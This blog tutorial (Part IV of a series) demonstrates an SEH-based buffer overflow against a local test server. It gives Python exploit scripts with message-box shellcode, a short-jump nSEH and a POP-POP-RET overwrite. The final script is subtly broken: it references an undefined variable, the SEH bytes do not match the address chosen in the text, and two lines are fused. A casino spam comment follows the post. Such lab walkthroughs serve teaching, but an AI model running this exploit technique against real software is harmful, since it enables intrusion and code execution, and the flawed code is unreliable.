Monday, October 11, 2021

SEH Based Buffer Overflow Exploit - Part IV


SEH Based Buffer Overflow

In Buffer Overflow Exploit – Part 1, I discussed how SEH Based Buffer Overflow works in brief. But now we are going to take a detailed look and perform SEH Based Buffer Overflow.

SEH Based Exploit.jpg

Figure 1. SEH Based Buffer Overflow

An exception handler is a portion of code contained within an application, designed to handle an exception that may occur during runtime. Windows contains an exception handler by default (SEH) which is designed to catch an exception and generate an error. The pointer to the exception handler is added to the stack in the form of the ‘Exception Registration Record’ (SEH) and ‘Next Exception Registration Record’ (nSEH). Due to the flow of the Windows stack, the order is reversed (nSEH and then SEH). Once the exception happens, we are able to see that the memory location of SEH is located eight (8) bytes after the value of the ESP register (ESP + 8 bytes).

This is important to the buffer overflow exploitation process due to the function of the handler. If the buffer is overflown and data is written to the SEH (located eight bytes after ESP), then all of the CPU registers are set to zero (0) and this prevents us from executing our shellcode successfully. Our goal at this point is to successfully overflow the buffer, and removing the eight additional bytes from the stack, and returning execution to the top of the stack, thus allowing execution of our shellcode.

The OS walks the SEH Chain and each Exception Handler (SEH) is checked to see if it can handle the exception (by calling the exception call-back function and examining the details found in the exception and context records). If not, Exception Continue Search is returned and it moves to the address of the next record (pointed to by Next SEH) and continues down the chain until it finds a suitable exception handler or hits the last, default handler(FFFFFFFF).

PUSH, POP(SEH Based)

The process that we followed to perform Stack Based Overflow is the same in SEH Based Buffer Overflow, only few changes in the Attacker’s script are needed. In Stack Based we used JMP ESP to perform a jump. In SEH Based Buffer Overflow we will be using PUSH, POP.

We will start the application and attach the ‘Server’ process to the Immunity debugger (File > Attach). Lets attach the Server in immunity debugger and try sending multiple A’s in the Server. But this time we need to overwrite the SEH and Next SEH. Lets create a pattern of 700 using mona and execute to see at what pointer our SEH is being overwritten.

Fig 1.png

 Figure 2. Overwriting SEH

In the given figure we can see that the Next SEH and SEH is being overwritten with   41327641 & 76413376. So now we need to find the offset. We could do it by using mona plugin itself by typing:

!mona pattern_offset 41327641



fig 2.png

Figure 3. Mona Pattern_Offset

As we can see we found the offset at 636.

We’ve overwritten our SEH chain, but this alone is not enough to lead to a viable exploit. In addition to controlling the values of Next SEH and SEH we also need to trigger an exception so that the exception handler is called by the OS. What exactly will trigger an exception (and which handler is called) is going to be dependent upon the application but quite often it is enough to simply continue writing beyond the end of the stack to generate an error that results in the OS calling the SEH chain.

fig 3.png

Figure 4. SEH Chain

With this example program, we know that 700 A’s is just enough to overwrite Next SEH and SEH. This time let’s make the total length of our argument 2000 only instead of using all A’s, let’s use the letter B for character positions 636-644. The length should be enough to overwrite the stack to a point that it generates an exception and we should see Next SEH and SEH overwritten with B’s.

So our new attacker code looks like:

import socket

host = "localhost"

port = 1200                   # The same port as used by the server

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

junk=b'A'*636

seh=b'B'*8

junks=b'A'*1500

s.sendall(junk+seh+junks)

s.close()

print("The message has been sent.")

In the Stack we can see the SEH and Next SEH is overwritten with BBBB and BBBB.

fig 4.png

Figure 5. Overwriting SEH and Next SEH

Now If we pass the exception to the application (Shift + F9) we see the following:

fig 5.png

Figure 6. EIP Overwritten with SEH

By overwriting SEH (which is called when an exception occurs), we have taken control of EIP. When an exception occurs and the Exception Handler (SEH) is called, it’s value is put in EIP. Since we have control over SEH, we now have control over EIP and the execution flow of the application. We also know that the Next SEH is located at ESP+8, so if we can load that value into EIP we can continue to control the execution flow of the application.

Here’s a screenshot the stack at the time the Exception Handler is executed:

fig 6.png

Figure 7. Pointer from the Exception Handler

There are several possible approaches, the most common of which is to overwrite SEH with the address for a POP+POP+RET instruction to load ESP+8 into EIP.

Instead of 42424242, EIP would be overwritten with the address of a POP+POP+RET sequence. This would pop the first two entries off of the stack and the return instruction would load 008FF764 into EIP. Since we have control over the contents of that address, we could then execute code of our choosing.

Before we start writing any code, let’s first take a look at the typical construct for an SEH exploit. The most basic SEH exploit buffer is going to be constructed as follows:

JUNK

NEXTSEH

SEH

SHELLCODE

We need the following to perform an attack:

1) offset to Next SEH i.e. 636

2) jump code for Next SEH to hop over SEH

3) address for a usable POP+POP+RET instruction

4) shellcode

It will start with some filler/junk to offset the buffer to the exact overwrite of Next SEH and SEH. Remember, SEH will be loaded into EIP when the exception is triggered. The problem we run into is that when program flow is redirected to Next SEH, it will once again run into SEH unless we can figure out a way around it. To do so, we can place a short jump in Next SEH, which will hop over SEH and into our shellcode.

We just have the offset to next SEH. We have control over EIP because we’ve overwritten SEH. We also know that at the time of crash, ESP+8 points to Next SEH. So, if we can overwrite SEH with the address of a POP+POP+RET instruction we can redirect execution flow to Next SEH. There’s a couple of ways to search for a usable POP+POP+RET instruction in Immunity. First, you can right click on the Disassembly window (top left) and select “Search for” –> “All sequences in all modules”. To use this method you need to know the registers you wish to include in the POP instructions. For example:

fig  7.png

Figure 8. Searching for sequence

This particular choice of registers returns many results to choose from. Remember that instructions that reside in an application (vs. OS) module are preferred for exploit portability.

fig 8.png

Figure 9. Found Sequence

Another way to find the POP+POP+RET instruction address is to use the mona plugin for Immunity (!mona seh):

fig 9.png

Figure 10. Mona SEH

The benefit of using mona is that it also identifies which modules have been compiled with SafeSEH, a protection that would eliminate the viability of an SEH-based exploit. We’ve to choose a usable POP+POP+RET instruction(I choose 610C160E) . So we have our POP+POP+RET address and our offset. Now all we need is some jump code for Next SEH and our Shellcode.

The jump code we need for Next SEH only needs to get us past the 4 bytes of SEH. If you recall from part 4 of the series, a short forward jump is represented by opcode EB. For example \xeb\x14 is a 20 byte forward jump. We can jump a bit beyond SEH as long as we preface our shellcode with some NOPs.

We already have the shellcode of displaying the message box so we will be using that for now.

Now we are ready to build an exploit. Our final payload looks like:

import socket

host = "localhost"

port = 1200                   # The same port as used by the server

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port)) msgbox = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff\xd7"

# for seh chain

Junk_seh = b'A'*636

nextseh = b'\xeb\x14\x90\x90'

seh=b'\x0b\x14\x0c\x61'

nops=b'\x90'*20

s.sendall(junk+nextseh+seh+nops+msgbox)

s.close()

print("The message has been sent.")

Running the above code will display the following:

Msgbox.png

Figure 11. Output of SEH  Based Attack

Now you can see how you can perform the attack using SEH Handler of OS  to execute your Shellcode.  If you have read all the parts then go back to part 4 and perform all the steps to gain the Shell Access. If you have already done it, then you can simply replace the code. 


1 comment:

  1. Slots, Table Games and Casinos - Portuguese Giants
    Find more about 바카라 사이트 추천 Slots, Table Games 온 카지노 and Casinos in Portugal. We have over 2000 slot machines and 먹튀 커뮤니티 table games at the best prices 제왕 카지노 롤링 at Portuguese Giants Casino. 안전 카지노 사이트

    ReplyDelete